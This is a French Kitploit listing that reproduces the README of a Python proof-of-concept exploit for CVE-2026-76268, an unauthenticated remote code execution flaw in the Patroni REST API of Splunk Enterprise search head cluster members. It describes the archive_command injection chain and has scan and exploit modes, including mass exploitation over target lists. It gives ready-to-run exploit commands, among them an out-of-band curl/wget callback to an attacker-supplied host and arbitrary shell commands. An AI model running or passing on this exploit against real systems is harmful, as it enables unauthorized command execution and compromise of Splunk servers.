Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-76268 — PoC Python pour CVE-2026-76268 : détecte l'API REST Patroni non authentifiée sur les membres du SHC Splunk et l'exploite via une injection dans archive_command pour obtenir une RCE. | Kitploit
Outils/GitHubGitHub/murrez/cve-2026-76268
ReconnaissanceScanners de VulnérabilitésCartographie RéseauExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionOutil d'Accès à Distance
GitHubmurrez/cve-2026-76268

CVE-2026-76268

PoC Python pour CVE-2026-76268 : détecte l'API REST Patroni non authentifiée sur les membres du SHC Splunk et l'exploite via une injection dans archive_command pour obtenir une RCE.

832il y a 22 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-76268 — RCE non authentifiée via l'API REST Patroni de Splunk Enterprise

PoC en Python 3 pour CVE-2026-76268 — Splunk Enterprise sur les membres d'un cluster de têtes de recherche (SHC). Avis SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
Avishttps://advisory.splunk.com/advisories/SVD-2026-1001
Composantsidecar PostgreSQL (Storage) → API REST Patroni
Affecté10.2.0 – 10.2.6, 10.4.0 – 10.4.2
Correctif10.2.7, 10.4.3 (et versions ultérieures)
Non affecté (cette CVE)10.0.x, 9.4.x
CWECWE-306 — absence d'authentification pour une fonction critique
CVSS 3.19.8 Critique
Marqueur de vérificationPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

Description

Sur les membres SHC vulnérables de Splunk Enterprise, l'API REST Patroni (partie du sidecar PostgreSQL introduit dans Splunk 10.x) accepte des requêtes modifiant l'état sans authentification. Un attaquant disposant d'un accès réseau au listener Patroni peut modifier la configuration dynamique du cluster et déclencher une exécution de commandes au niveau du système d'exploitation via des paramètres PostgreSQL tels que archive_command (chaîne Patroni PATCH /config + POST /restart).

Cette PoC communique directement avec Patroni (généralement TCP 8008, ou un port attribué par l'IPC Broker de Splunk). Elle n'utilise pas Splunk Web (8000) ni le port de gestion Splunk (8089). Il s'agit d'une surface différente (par exemple, des problèmes historiques du sidecar via le proxy splunkd).

Préconditions pour un impact réel :

  • L'hôte est un membre SHC (et non un nœud indexeur autonome dépourvu de la pile sidecar).
  • Le sidecar [postgres] est activé (disabled = true supprime Patroni).
  • Le port Patroni est joignable depuis l'attaquant (pare-feu souvent mal configuré exposant des ports internes au cluster).

Prérequis

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • Dépendances : requests, urllib3

Aperçu de l'utilisation

ModeObjectif
check (par défaut)Détecter Patroni sur les ports courants ; tester PATCH /config sans authentification
exploitExécuter la chaîne RCE de Patroni (archive_command + redémarrage)
Mass--list FILE avec -j threads ; écrit du JSONL + listes optionnelles de hits/exploits

Vous devez fournir soit -t TARGET soit --list FILE.

Formats de cible (-t / lignes dans --list)

FormatExemple
Hôte seul (scan de ports par défaut)192.168.1.50
Hôte + port192.168.1.50:8008
URL complètehttp://10.0.0.5:8008

Commentaires dans les fichiers de liste : les lignes commençant par # sont ignorées.


Mode check

Découvrir Patroni et évaluer si des modifications de configuration sans authentification semblent autorisées.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

Ce que fait le PoC :

  1. Tente GET /patroni (ou /) sur chaque port de --ports (par défaut 8008,8009,8010,18008).
  2. Envoie PATCH /config avec un corps JSON vide et sans identifiants.
  3. Marque exploitable_candidate: true lorsque Patroni répond et que le PATCH n'est pas rejeté avec 401/403.

Options utiles :

OptionSignification
--portsPorts Patroni à scanner, séparés par des virgules
--portIgnore le scan ; utilise un seul port
--timeoutDélai d'expiration HTTP (secondes, par défaut 20)
--proxyProxy HTTP(S) pour les requêtes
--outputJournal JSONL (par défaut cve_2026_76268_results.jsonl)
--vuln-listCandidats séparés par des tabulations (par défaut hits.txt)
--quietSortie console réduite
--no-colorTerminal sans couleur

Code de sortie : 0 si exploitable_candidate est vrai ; sinon 1.

Flux de travail recommandé : vérification en masse → examen de hits.txt → exploitation en masse uniquement sur les hôtes autorisés.


Mode exploit (--mode exploit)

Exécute la chaîne d'injection de configuration Patroni. Cela modifie la configuration dynamique active du sidecar/PostgreSQL sur la cible.

Chaîne

  1. Découverte — identique à la vérification (sauf si --port est défini).
  2. Contrôle d'authentification — abandonne si PATCH /config renvoie 401/403.
  3. PATCH /config — définit wal_level=replica, archive_mode=always, archive_timeout=1 et votre archive_command.
  4. POST /restart — applique la configuration PostgreSQL en attente.
  5. Attente — --wait-archive secondes (par défaut 3) ; archive_command s'exécute sur le cycle d'archivage WAL (pas instantanément).

Exemples pour cible unique

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

Exploitation de masse

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

Sorties :

  • --output — JSONL complet (l'exploit massif utilise par défaut cve_2026_76268_exploit.jsonl si vous avez conservé le nom par défaut).
  • --exploited-list — lignes où exploited: true (par défaut exploited.txt).

Options d'exploitation

OptionSignification
--oob URLURL de base ; la commande exécute curl/wget vers URL/POCBIT-76268-OK
--commandChaîne complète archive_command PostgreSQL (remplace la valeur OOB par défaut)
--wait-archiveSecondes d'attente après le redémarrage avant que le PoC ne se termine
--ports / --portDécouverte de ports ou port Patroni fixe
--tlsUtiliser https:// pour Patroni (rare dans la documentation par défaut du sidecar Splunk)

Commande par défaut lorsque ni --oob ni --command n'est défini :
touch /tmp/POCBIT-76268-OK

Code de sortie : 0 lorsque le PATCH et le redémarrage sont acceptés (exploited: true). Cela signifie que la chaîne a été délivrée, et non que votre callback ou votre preuve par fichier s'est déjà déclenché. Confirmez par des vérifications OOB ou sur le système de fichiers de l'hôte.

Important : Patroni peut ignorer les modifications dynamiques si les mêmes paramètres sont verrouillés dans la configuration locale (durcissement du fournisseur). Dans ce cas, l'exploitation peut échouer même sur d'anciennes versions de Splunk.


Sortie JSON (exécution unique avec -t)

Affichée sur stdout (JSON formaté). Le mode massif écrit un objet JSON par ligne.

Télécharger l’outil